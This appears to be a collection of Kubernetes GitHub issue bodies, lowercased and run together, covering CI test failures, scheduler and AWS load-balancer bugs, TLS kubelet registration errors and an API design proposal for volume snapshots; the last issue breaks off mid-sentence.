this should be placed in a utility method:  https://github.com/kubernetes/kubernetes/blob/master/cmd/kube-controller-manager/app/controllermanager.go l272  /cc @deads2k - will look to do something to simplify rebase costing.

hi , i am following  kubernetes 101 guide to learn kubernetes.  following is my nginx-pod.yml file:  apiversion: v1 kind: pod metadata:    name: nginx spec:    containers:      - name: nginx        image: nginx:1.7.9        ports:           - containerport: 80  command fired:   kubectl create -f nginx-pod.yml  error: error validating \ nginx-pod.yaml\ : error validating data: couldn't find type: v1.pod; if you choose to ignore these errors, turn validation off with --validate=false  what is root cause of this error?

this happened to me in https://github.com/kubernetes/kubernetes/pull/39683.\r \r i've run  hack/update-all.sh  and was hoping that   everything   needed was update. but during checks jenkins invokes  make verify  and that will fail on  make verify_generated_files . now running that locally  after all was updated , i'm getting:\r \r    \r $ make verify_generated_files \r f0224 15:40:55.035792    8763 main.go:44  error: failed executing generator: some packages had errors:\r errors in package \ k8s.io/kubernetes/pkg/generated/openapi\ :\r output for \ openapi/zz_generated.openapi.go\  differs; first existing/expected diff: \r   \ apps/v1beta1.deployment\\\ : {\ \\t\\t\\tschema: spec.schema{\ \\t\\t\\t\\tschemaprops: spec.schemaprops{\ \\t\\t\\t\\t\\tdescript\ \r   \ extensions/v1beta1.deployment\\\ : {\ \\t\\t\\tschema: spec.schema{\ \\t\\t\\t\\tschemaprops: spec.schemaprops{\ \\t\\t\\t\\t\\tde\ \r \r makefile.generated_files:502: recipe for target 'verify_gen_openapi' failed\r make 1 :      verify_gen_openapi  error 1\r makefile:467: recipe for target 'verify_generated_files' failed\r make:      verify_generated_files  error 2\r    \r \r now the question is what am i supposed to run to have that generated?\r \r @kubernetes/sig-api-machinery-misc ideas?

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/41852/pull-kubernetes-e2e-kops-aws/14321/\r \r reported by @mml. @krmayankk told me he had seen this as well. iirc @luxas told me about the issue on slack a while ago. i'll look into it. \r \r i don't know why the robot hasn't filed an issue for this flake. @foxish @apelisse do you know who is working on the robot that reports flaky tests?

inspired by @mikaelcluseau's suggestion, the following is a list of discussions related to snapshot api object design.\r  \r 1. use new api objects for snapshot or not\r i think having new api objects to represent snapshots will be very convenient to support different operations on snapshots. the possible operations could be create snapshot from volume, create new volume or restore volume from snapshot, list and delete snapshots, show the status  available, pending etc  and detailed information  creation time, size  of a snapshot. so it would gives us more flexibility compared to just tagging the snapshot information into a pv.\r \r 2. how snapshot is created\r although it is possible to use just pvc to initiate a snapshot creation, i think using a new api object  snapshotrequest  to represent snapshot creation gives much more flexibility and support more options. \r    a . it could support both one-time snapshot creation or scheduled snapshot with a lot more snapshot policy options. for example, how many snapshots could be taken periodically for a volume. a snapshot should be deleted after a certain amount of time to save space. how much storage space could be used by snapshots etc.\r \r    b . it could support to create snapshots for a list of volumes. for system admins, they might want to create snapshots for all volumes in the system overnight for backup purpose. instead of specifying only one snapshot per pvc, they could use wild card to list all volumes in the snapshot request.\r \r    c . it could support to create snapshot for pod, statefulset, deployments etc. users might not have direct information about the pvs for their pods. in snapshot request, the sources to create snapshots could be pvs, or pod, statefulset and kubernetes can retrieve the volumes information from the pod objects and take snapshots for the user.\r \r 3. how to create a new volume and restore a volume from a snapshot. \r currently kubernetes support dynamic provisioning to create a new volume for a pvc. to create a new volume from a snapshot is similar to this process. i am thinking again to use snapshotrequest to perform this task by giving the snapshot identifier and some keyword to indicate to create a new volume or restore the existing volume. if a new volume is created, a new pv object will be created to represent this volume. in case of restore, the existing pv still represents the reverted volume. i think this way is cleaner than mixing this function into pvc which requires modifying the pvc object. \r \r 4. namespace or not.\r similar to pvc and pv, we could make snapshotrequest as namespaced, and snapshots object as non-namespaced so that user/developer can use request.\r  \r @mikaelcluseau's example\r    \r kind: snapshotrequest\r metadata:\r   namespace: production\r   name: snap_app1_20170406_010000\r spec:\r   persistentvolumeclaims:   could be a list of pv, pods, or snapshot id  create volume from a snapshot \r   - data.app-1-db-0\r   - data.app-1-db-1\r   - data.app-1-mq-0\r   - data.app-1-mq-1\r   - data.app-1-filestore-0\r \r kind: snapshot\r metadata:\r   name: production-pv-for-claim-data.app-1-db-0@snap_app1_20170406_010000\r spec:\r   volume: production-pv-for-claim-data.app-1-db-0\r   requestref:  the ref could be other type too\r     namespace: production\r     name: snap_app1_20170406_010000\r    \r any comments and suggestions for this would be appreciated!

failure cluster  968c18a790481df2fe53  https://go.k8s.io/triage 968c18a790481df2fe53        error text:     error during ./federation/cluster/federation-up.sh: exit status 124           failure cluster statistics: 1 tests failed,    4 jobs failed,    84 builds failed. failure stats cover 1 day time range '22 jun 2017 17:05 utc' to '23 jun 2017 17:05 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | federation up | 4 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gce-federation-release-1.6 | 29 |  23 jun 2017 15:28 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-federation-release-1.6/2113  | | ci-kubernetes-e2e-gce-federation | 29 |  23 jun 2017 15:48 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-federation/4650  | | ci-kubernetes-e2e-gce-federation-serial | 25 |  23 jun 2017 15:59 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-federation-serial/3417  |   current status  https://go.k8s.io/triage 968c18a790481df2fe53

when an object is told to encode its nested objects, the preferred encoding version is not provided for it to use. that means nested objects with more than one possible serialized version use the default instead of the requested version.\r \r @kubernetes/sig-api-machinery-bugs

 \r one of our downgrade test started failing last evening https://k8s-testgrid.appspot.com/release-1.8-upgrade-skew gke-1.8-1.7-downgrade-cluster-parallel\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_upgrade.go:149\r expected error:\r     < url.error | 0xc420dcced0>: {\r         op: \ get\ ,\r         url: \ https://104.154.223.144/api/v1/namespaces/e2e-tests-hpa-upgrade-8cvv5/replicationcontrollers/res-cons-upgrade\ ,\r         err: {\r             op: \ dial\ ,\r             net: \ tcp\ ,\r             source: nil,\r             addr: {\r                 ip:  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 104, 154, 223, 144 ,\r                 port: 443,\r                 zone: \ \ ,\r             },\r             err: {\r                 syscall: \ getsockopt\ ,\r                 err: 0x6f,\r             },\r         },\r     }\r     get https://104.154.223.144/api/v1/namespaces/e2e-tests-hpa-upgrade-8cvv5/replicationcontrollers/res-cons-upgrade: dial tcp 104.154.223.144:443: getsockopt: connection refused\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/autoscaling_utils.go:320\r    \r \r cc @kubernetes/kubernetes-release-managers \r cc @kubernetes/test-infra-maintainers \r cc @kubernetes/sig-cluster-lifecycle-test-failures

is this a bug report or feature request?  :\r  @kubernetes/sig-scalability-bugs \r / \r   what happened  :\r as explained in https://github.com/kubernetes/kubernetes/issues/56061 issuecomment-346674103 apiserver memory usage measured during the density test varies significantly depending on whether the \ load\  test ran before it or not.\r \r this bi-modal distribution hurts test repeatability and makes it difficult to spot unintended/unexpected memory usage increases, which are quite obvious when the data is bucketed according to order of tests - see graph in https://github.com/kubernetes/kubernetes/issues/56061 issuecomment-346810785.\r one could imagine many ways to mitigate this problem for the sake of scalability tests: one such ways would be to bounce the apiserver  and other components  between the tests?\r \r however this also poses a few interesting, more general questions:\r 1. is this a memory leak? i.e. can memory use grow in an unbounded way?\r 1. it would be interesting to find out what \ leaks\  during the load test. i suspect it's some cache which does not have time to expire, and is not invalidated automatically when the load test's namespaces are deleted. perhaps it should?\r 1. if the memory usage is bounded, then should the load test be trying to reach that bound? apparently it does not at the moment  since it grows further during density test . should it try harder?\r 1. do other components  e.g. etcd, controller manager  also exhibit this bi-modal resource usage pattern?\r \r @sttts  suggested  https://github.com/kubernetes/kubernetes/issues/56061 issuecomment-346802655  getting a memory profile. this could help answer some of the above questions.

\r   is this a bug report or feature request?  :\r \r  \r i think this is a bug, but let me know if it is not.\r \r   what happened  :\r \r when feature-gate taintnodesbycondition is true, we were surprised to find out that nodes that are  schedulingdisabled  continues to get pod scheduled onto it.\r \r   what you expected to happen  :\r \r nodes that are  schedulingdisabled  don't get new pod scheduled.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r set  --feature-gates=taintnodesbycondition=true  for kube-scheduler\r drain a node and see pods continue to be scheduled to the node.\r \r   anything else we need to know?  :\r \r from glancing the code, it appears that  checknodeconditionpred  is removed when the feature gate is on.  https://github.com/kubernetes/kubernetes/blob/eb3196b1b46f69cb8257692017f741248438d4d9/pkg/scheduler/algorithmprovider/defaults/defaults.go l187-l192\r \r however, spec.unschedulable appears to be checked only in  checknodeconditionpred  https://github.com/kubernetes/kubernetes/blob/32c026c1f8c8166ac9d14614af237c08b1d7d5ff/pkg/scheduler/algorithm/predicates/predicates.go l1484-l1486\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.2\r - cloud provider or hardware configuration: baremetal\r - os  e.g. from /etc/os-release : centos 7.4\r - kernel  e.g.  uname -a  : 4.14.14\r - install tools: custom\r - others:\r

\r  ----     ------                 ----             ----               -------\r   normal   successfulmountvolume  1m               kubelet, node5     mountvolume.setup succeeded for volume \ config-volume\ \r   normal   successfulmountvolume  1m               kubelet, node5     mountvolume.setup succeeded for volume \ default-token-xf8z2\ \r   warning  failed                 1m               kubelet, node5     error: failed to start container \ dnsmasq\ : error response from daemon: oci runtime error: container_linux.go:247: starting container process caused \ process_linux.go:359: container init caused \\\ rootfs_linux.go:54: mounting \\\\\\\ /var/lib/docker/containers/28522215b76e8d67a463d0febd262c5d34e939478a4ba42f0da9b961781dc975/resolv.conf\\\\\\\  to rootfs \\\\\\\ /var/lib/docker/overlay/21308c3e7dc62edbb252e56a2f0e56f947b27d8fe1ec4cf005f5c70ae2d9569a/merged\\\\\\\  at \\\\\\\ /var/lib/docker/overlay/21308c3e7dc62edbb252e56a2f0e56f947b27d8fe1ec4cf005f5c70ae2d9569a/merged/etc/resolv.conf\\\\\\\  caused \\\\\\\ open /var/lib/docker/overlay/21308c3e7dc62edbb252e56a2f0e56f947b27d8fe1ec4cf005f5c70ae2d9569a/merged/etc/resolv.conf: read-only file system\\\\\\\ \\\ \ \r   warning  failed                 1m               kubelet, node5     error: failed to start container \ dnsmasq\ : error response from daemon: oci runtime error: container_linux.go:247: starting container process caused \ process_linux.go:359: container init caused \\\ rootfs_linux.go:54: mounting \\\\\\\ /var/lib/docker/containers/28522215b76e8d67a463d0febd262c5d34e939478a4ba42f0da9b961781dc975/resolv.conf\\\\\\\  to rootfs \\\\\\\ /var/lib/docker/overlay/12d4e68c278b04b1463933f352a87ac2ede13944aa11511b505bde526c40fc4e/merged\\\\\\\  at \\\\\\\ /var/lib/docker/overlay/12d4e68c278b04b1463933f352a87ac2ede13944aa11511b505bde526c40fc4e/merged/etc/resolv.conf\\\\\\\  caused \\\\\\\ open /var/lib/docker/overlay/12d4e68c278b04b1463933f352a87ac2ede13944aa11511b505bde526c40fc4e/merged/etc/resolv.conf: read-only file system\\\\\\\ \\\ \ \r   warning  backoff                1m               kubelet, node5     back-off restarting failed container\r   normal   pulling                1m  x3 over 1m   kubelet, node5     pulling image \ andyshinn/dnsmasq:latest\ \r   normal   pulled                 1m  x3 over 1m   kubelet, node5     successfully pulled image \ andyshinn/dnsmasq:latest\ \r   normal   created                1m  x3 over 1m   kubelet, node5     created container\r   warning  failed                 1m               kubelet, node5     error: failed to start container \ dnsmasq\ : error response from daemon: oci runtime error: container_linux.go:247: starting container process caused \ process_linux.go:359: container init caused \\\ rootfs_linux.go:54: mounting \\\\\\\ /var/lib/docker/containers/28522215b76e8d67a463d0febd262c5d34e939478a4ba42f0da9b961781dc975/resolv.conf\\\\\\\  to rootfs \\\\\\\ /var/lib/docker/overlay/2e7ffc4e24bf357e60de4defaecb7b133d9dcc018e8f4ff0361128773b0deae3/merged\\\\\\\  at \\\\\\\ /var/lib/docker/overlay/2e7ffc4e24bf357e60de4defaecb7b133d9dcc018e8f4ff0361128773b0deae3/merged/etc/resolv.conf\\\\\\\  caused \\\\\\\ open /var/lib/docker/overlay/2e7ffc4e24bf357e60de4defaecb7b133d9dcc018e8f4ff0361128773b0deae3/merged/etc/resolv.conf: read-only file system\\\\\\\ \\\ \ \r   normal   scheduled              38s              default-scheduler  successfully assigned dnsmasq-c8f9bfd68-kz8cx to node5\r

i am configuring kubernetes cluster in a secured way. created tls certificates by following this url \r    \r https://coreos.com/os/docs/latest/generate-self-signed-certificates.html\r    \r my apiserver configuration are as follows-\r    \r /usr/bin/kube-apiserver --logtostderr=true --v=5 \r                                      --etcd_servers=https://kubernetes-master.internal.docrates.com:2379,https://k8s-minion1.internal.docrates.com:2379,https://k8s-minion2.internal.docrates.com:2379, \r                                     --etcd-certfile=/etc/kubernetes/secrets/client.srv.crt \r                                    --etcd-keyfile=/etc/kubernetes/secrets/client.srv.key --etcd-cafile=/etc/kubernetes/secrets/client.ca.crt \r                                   --bind-address=0.0.0.0 \r                                   --insecure-bind-address=127.0.0.1\r                                   --secure-port=8443 --insecure-port=8080 \r                                   --kubelet_port=10250 --allow_privileged=false \r                                  --service-cluster-ip-range=10.254.0.0/16 \r                                 --cloud-provider=aws --cloud-config=/etc/kubernetes/manifests \r                                 --admission_control=namespacelifecycle,\r                                        namespaceexists,limitranger,resourcequota    \r                            --client-ca-file=/etc/kubernetes/secrets/ca.crt \r                            --tls-cert-file=/etc/kubernetes/secrets/server.crt\r                           --tls-private-key-file=/etc/kubernetes/secrets/server.key \r                           --kubelet-certificate-authority=/etc/kubernetes/secrets/ca.crt \r                          --kubelet-client-certificate=/etc/kubernetes/secrets/server.crt \r                          --kubelet-client-key=/etc/kubernetes/secrets/server.key\r    \r \r and my kubelet configuration is -\r    \r /usr/bin/kubelet --logtostderr=true --v=5    --hostname-override=k8s-minion2.internal.docrates.com --api_servers=https://kubernetes-master.internal.docrates.com:8443 --allow_privileged=false  --config=/etc/kubernetes/manifests --register-node=true  --kubeconfig=/etc/kubernetes/secrets/kube.config --tls-cert-file=/etc/kubernetes/secrets/client.srv.crt --tls-private-key-file=/etc/kubernetes/secrets/client.srv.key\r    \r \r when i start the kubelet  service it doesn't get registered with the apiserver. here is the log\r    \r jan 18 08:23:59 k8s-minion1 kubelet: e0118 08:23:59.322327   20342 kubelet_node_status.go:97  unable to register node \ k8s-minion1.internal.docrates.com\  with api server: post https://kubernetes-master:8443/api/v1/nodes: x509: certificate signed by unknown authority\r jan 18 08:23:59 k8s-minion1 kubelet: i0118 08:23:59.408864   20342 reflector.go:249  listing and watching  api.node from pkg/kubelet/kubelet.go:403\r jan 18 08:23:59 k8s-minion1 kubelet: e0118 08:23:59.410340   20342 reflector.go:203  pkg/kubelet/kubelet.go:403: failed to list  api.node: get https://kubernetes-master:8443/api/v1/nodes?fieldselector=metadata.name%3dk8s-minion1.internal.docrates.com&resourceversion=0: x509: certificate signed by unknown authority\r jan 18 08:23:59 k8s-minion1 kubelet: i0118 08:23:59.454835   20342 reflector.go:249  listing and watching  api.pod from pkg/kubelet/config/apiserver.go:43\r jan 18 08:23:59 k8s-minion1 kubelet: e0118 08:23:59.455986   20342 reflector.go:203  pkg/kubelet/config/apiserver.go:43: failed to list  api.pod: get https://kubernetes-master:8443/api/v1/pods?fieldselector=spec.nodename%3dk8s-minion1.internal.docrates.com&resourceversion=0: x509: certificate signed by unknown authority\r jan 18 08:23:59 k8s-minion1 kubelet: i0118 08:23:59.468977   20342 reflector.go:249  listing and watching  api.service from pkg/kubelet/kubelet.go:384\r jan 18 08:23:59 k8s-minion1 kubelet: e0118 08:23:59.470053   20342 reflector.go:203  pkg/kubelet/kubelet.go:384: failed to list  api.service: get https://kubernetes-master:8443/api/v1/services?resourceversion=0: x509: certificate signed by unknown authority\r    \r i am using the 1.4.7 release version of kubernetes

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r no. by the way, the troubleshooting link above gives a 404. \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r i searched for:  filterlimitexceeded ,  aws 200 nodes .\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:57:05z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:52:34z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : aws vpc\r -   os    e.g. from /etc/os-release : centos 7\r -   kernel    e.g.  uname -a  :  linux ip-172-24-130-171 3.10.0-327.28.3.el7.x86_64  1 smp thu aug 18 19:05:49 utc 2016 x86_64 x86_64 x86_64 gnu/linux \r -   install tools  : based off of the kubernetes github  saltbase  https://github.com/kubernetes/kubernetes/tree/master/cluster/saltbase \r \r \r   what happened  :\r \r i increased my ec2 node count from 193 to 211 nodes in the cluster, including 3 master nodes.\r \r as new minion nodes registered with the master nodes, i saw these messages in the  kube-controller-manager  logs:\r \r    \r i0426 14:01:38.762788       6 servicecontroller.go:640  detected change in list of current cluster nodes. new node set:  <less than 200 ip adresses cut for brevity> \r i0426 14:01:39.867171       6 aws.go:3204  caching instances for map <less than 200 ip adresses cut for brevity> \r i0426 14:01:40.229331       6 aws_loadbalancer.go:410  instances added to load-balancer <aws-elb-id>\r i0426 14:01:41.097669       6 aws.go:3172  returning cached instances for map  \r i0426 14:01:42.407771       6 servicecontroller.go:648  successfully updated 28 out of 28 load balancers to direct traffic to the updated set of nodes\r    \r \r the logs shortly after show the following message  i removed the list   200   of ip addresses :\r \r    \r i0426 14:21:52.491594       6 aws.go:3195  failed to describe instances map <200+ ip adresses cut for brevity> \r e0426 14:21:52.527573       6 servicecontroller.go:663  external error while updating load balancer: error listing aws instances: filterlimitexceeded: the maximum number of filter values specified on a single call is 200\r         status code: 400, request id: .\r ... more of the same ...\r i0426 14:36:59.085949       6 servicecontroller.go:648  successfully updated 23 out of 28 load balancers to direct traffic to the updated set of nodes\r    \r these error messages continue for a while as new minions registered with the master nodes and everything looked fine for about 4 hours  apart from the  filterlimitexceeded  errors continuing in the logs .\r \r i then updated the manifests one at a time on each master for the  kube-apiserver ,  kube-controller-manager , and  kube-scheduler  to modify the cpu and memory limits and resources.  kubelet  restarted them immediately.\r \r the startup logs look normal from what i can tell, until here:\r \r    \r i0426 18:10:32.511555       6 servicecontroller.go:285  ensuring lb for service default/dashboard\r i0426 18:10:32.511810       6 aws.go:2505  ensureloadbalancer kubernetes, default, dashboard, us-east-1, ,  { tcp 80 {0 3000 } 32723} ,  <200+ ip adresses cut for brevity> , map service.beta.kubernetes.io/aws-load-balancer-connection-idle-timeout:60 service.beta.kubernetes.io/aws-load-balancer-cross-zone-load-balancing-enabled:true service.beta.kubernetes.io/aws-load-balancer-internal:0.0.0.0/0 service.beta.kubernetes.io/aws-load-balancer-connection-draining-enabled:true service.beta.kubernetes.io/aws-load-balancer-connection-draining-timeout:60  \r i0426 18:10:32.588765       6 aws.go:3195  failed to describe instances map <200+ ip adresses cut for brevity> \r e0426 18:10:32.588995       6 servicecontroller.go:760  failed to process service. retrying in 1m20s: failed to create load balancer for service default/dashboard: error listing aws instances: filterlimitexceeded: the maximum number of filter values specified on a single call is 200\r         status code: 400, request id: \r    \r \r the same continues for a few different aws elbs, none of which work from this point on because they no longer have any minions registered.\r \r i removed all but 199 minions at which point things looked normal:\r \r    \r i0426 22:33:03.699605       6 servicecontroller.go:640  detected change in list of current cluster nodes. new node set:  <less than 200 ip adresses cut for brevity> \r i0426 22:33:04.575034       6 aws.go:3204  caching instances for map <less than 200 ip adresses cut for brevity> \r i0426 22:33:04.699348       6 aws_loadbalancer.go:421  instances removed from load-balancer <aws-elb-id>\r i0426 22:33:05.260161       6 aws.go:2954  adding rule for traffic from the load balancer  sg-xxxxxx  to instances  sg-xxxxxx \r i0426 22:33:05.342123       6 aws.go:2028  existing security group ingress: sg-xxxxxx  {\r <secgrp_info>\r } \r i0426 22:33:05.342299       6 aws.go:1930  comparing sg-aaaaaa to sg-bbbbbb\r i0426 22:33:05.342316       6 aws.go:1930  comparing sg-aaaaaa to sg-cccccc\r i0426 22:33:05.342359       6 aws.go:2056  adding security group ingress: sg-bbbbbb  {\r   ipprotocol: \ -1\ ,\r   useridgrouppairs:  {\r       groupid: \ sg-aaaaaa\ \r     } \r } \r ...\r i0426 22:33:06.882652       6 servicecontroller.go:648  successfully updated 28 out of 28 load balancers to direct traffic to the updated set of nodes\r    \r \r   what you expected to happen  :\r \r i expected the kubernetes aws code to support more than 200 instances when using the describeinstances call to the ec2 api.\r  \r   how to reproduce it    as minimally and precisely as possible :\r \r on a kubernetes cluster running on aws:\r - set up a kubernetes service of  type: loadbalancer \r - increase the total node count to a number greater than 200\r - verify that the  filterlimitexceeded  messes show up\r - cycle restart through all of your  kube-apiserver ,  kube-controller-manager , and  kube-scheduler \r - verify that the aws elb created above has no healthy nodes behind it\r \r   anything else we need to know  :\r \r

/assign @pwittrock @mengqiy \r @kubernetes/sig-cli-misc \r \r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-test-go/5306?log log\r artifacts link shows that the  make test-cmd  command does not produce junit results: http://gcsweb.k8s.io/gcs/kubernetes-jenkins/logs/ci-kubernetes-test-go/5306/artifacts/\r \r this prevents us from displaying on testgrid what is happening: https://k8s-testgrid.appspot.com/google-unit test-go

currently if one wants to view secrets stored in k8s they must follow the process described here: https://kubernetes.io/docs/concepts/configuration/secret/ decoding-a-secret\r \r this involves copy&pasting. it seems to me that kubectl could provide a more helpful interface to base64 decrypt the users on behalf of the user saving them the trouble.

currently we have cyclic deps of:\r - heapster\r - metrics api.\r \r cc @lavalamp @directxman12 \r \r ref  45176

we have many util helpers which exist in two places. it's hard to maintain these helpers. it may also make developers confused by which one to use.\r \r most of the below helpers are almost the same in their two places. we should only keep one copy of them.\r \r -      api/v1/endpoints  https://github.com/kubernetes/kubernetes/tree/master/pkg/api/v1/endpoints    vs    api/endpoints  https://github.com/kubernetes/kubernetes/tree/master/pkg/api/endpoints \r -      api/v1/helper  https://github.com/kubernetes/kubernetes/tree/master/pkg/api/v1/helper    vs    api/helper  https://github.com/kubernetes/kubernetes/tree/master/pkg/api/helper \r -      api/v1/pod  https://github.com/kubernetes/kubernetes/tree/master/pkg/api/v1/pod    vs    api/pod  https://github.com/kubernetes/kubernetes/tree/master/pkg/api/pod \r -      api/v1/resource  https://github.com/kubernetes/kubernetes/tree/master/pkg/api/v1/resource    vs    api/resource  https://github.com/kubernetes/kubernetes/tree/master/pkg/api/resource \r -      api/v1/service  https://github.com/kubernetes/kubernetes/tree/master/pkg/api/v1/service    vs    api/service  https://github.com/kubernetes/kubernetes/tree/master/pkg/api/service \r -      api/v1/validation  https://github.com/kubernetes/kubernetes/tree/master/pkg/api/v1/validation    vs    api/validation  https://github.com/kubernetes/kubernetes/tree/master/pkg/api/validation \r \r ref: https://github.com/kubernetes/kubernetes/pull/50218/files r133046187\r /cc @thockin \r \r /assign @caesarxuchao @xiangpengzhao\r \r i prefer to remove the v1 ones. wdyt? @kubernetes/sig-api-machinery-misc

is this a bug report or feature request?  :\r \r   \r   what happened  :\r in 1.8, the feature is alpha\r \r   what you expected to happen  :\r graduate to beta in 1.10\r \r   requirements   :\r \r in 1.9\r -  x   e2e test for quota  owner @nickrenren   52523\r \r -  x  e2e test for limitrange  owner @nickrenren   52523\r \r  -  x  e2e test for downward api  owner @nickrenren   52523\r \r  -  x  kubereserved related flag name and test cases   owner @nickrenren   52708\r \r  -     kubectl support for local ephemeral storage  owner @nickrenren \r \r \r i am working on these tasks\r \r /cc @jingxu97 \r 

once https://github.com/googlecloudplatform/kubernetes/issues/4083 is fixed, we should include swagger validation as part of our tests.  it will probably be a lot easier when we move to swagger spec 2.0 as we will then be able to use the online validator  http://online.swagger.io/validator/

/ /  /area hw-accelerators\r \r https://k8s-testgrid.appspot.com/sig-release-master-blocking gke-device-plugin-gpu has been failing since 2017-10-19\r - last good: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-device-plugin-gpu/289\r - first bad: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-device-plugin-gpu/290\r \r i suspect https://github.com/kubernetes/kubernetes/pull/53031 caused this\r \r this job in on the release-master-blocking dashboard, and prevents us from cutting 1.9.0-alpha.2  kubernetes/sig-release 22 .  is there work ongoing to bring this job back to green?

 \r   what happened  : unable to use artifacts created with bazel on k8s 1.9\r \r   what you expected to happen  : artifacts created by bazel on k8s 1.9 results in a go coredump when attempting to install via kubeadm\r \r   how to reproduce it  as minimally and precisely as possible   : use planter to build k8s 1.9. load the resulting .tar container files into docker via  docker load -i , retag for -amd64, run  kubeadm init . on 1.9 go will coredump. with master, things are fine.\r \r \r   anything else we need to know?  : i've tested against master, and the changes in pr https://github.com/kubernetes/kubernetes/pull/56820 and related results in usable artifacts.\r \r   environment  : centos 7.3 x86_64\r - kubernetes version  use  kubectl version  : 1.10-alpha\r - cloud provider or hardware configuration: x86_64 vm on kvm\r - os  e.g. from /etc/os-release : centos 7.3\r - kernel  e.g.  uname -a  : 3.10.0-514.el7.x86_64\r - install tools: kubeadm\r - others: planter, bazel\r

failure cluster  1841b0ceefcb4ee87a61  https://go.k8s.io/triage 1841b0ceefcb4ee87a61        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/networking.go:122 jan 10 09:58:17.453: failed to find expected endpoints: tries 39 command timeout -t 15 curl -q -s --connect-timeout 1 http://10.0.251.25:80/hostname retrieved map netserver-1:{}  expected map netserver-0:{} netserver-1:{} netserver-2:{}   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/networking_utils.go:274           failure cluster statistics: 2 tests failed,    7 jobs failed,    84 builds failed. failure stats cover 1 day time range '17 jan 2018 03:36 utc' to '18 jan 2018 03:36 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  sig-network  networking granular checks: services  slow  should function for node-service: http | 7 | |  sig-network  networking granular checks: services  slow  should update nodeport: http  slow  | 6 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-cos-docker-validation-slow | 23 |  18 jan 2018 02:00 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-cos-docker-validation-slow/7663  | | ci-kubernetes-e2e-gce-ubuntudev-k8sbeta-slow | 12 |  18 jan 2018 02:13 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-ubuntudev-k8sbeta-slow/2539  | | ci-kubernetes-e2e-gce-ubuntudev-k8sdev-slow | 12 |  18 jan 2018 02:09 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-ubuntudev-k8sdev-slow/2845  |  /assign @thockin @nikhiljindal  <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | thockin |  sig-network  networking granular checks: services  slow  should function for node-service: http | | nikhiljindal |  sig-network  networking granular checks: services  slow  should update nodeport: http  slow  | | sig/network |  sig-network  networking granular checks: services  slow  should function for node-service: http;  sig-network  networking granular checks: services  slow  should update nodeport: http  slow  |  </details><br>   current status  https://go.k8s.io/triage 1841b0ceefcb4ee87a61

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r i have three machines dedicated to running etcd servers  as systemd services , seven machines dedicated to being kubernetes masters, and ten machines dedicated to being kubernetes worker nodes.  additionally i configure the etcd server nodes to also be kube workers, to make it easy to gather prometheus metrics from the etcd servers.  lately i have been testing reboots of the etcd server machines.  see https://docs.google.com/document/d/1exbdc5hf-cwswwcpm1jqtijbsbovbsuvqnbsx3vruhw for a run that went well.  then i tried it with a higher load on the system.  see https://docs.google.com/document/d/15wh16ahmupnal9yorc75ij0yc9rwxn8rydhsmblq9ui for full details.  the load is generated by a simple client that creates, updates, and deletes configmap objects.  in this case i ran it at 1000 kube api operations per second.  during one burst of update operations, the client recorded  error responses to 19 out of the 150 updates in that burst  find the client's log in the data archive, find its schema in the experiment 1 main page .  the burst happened 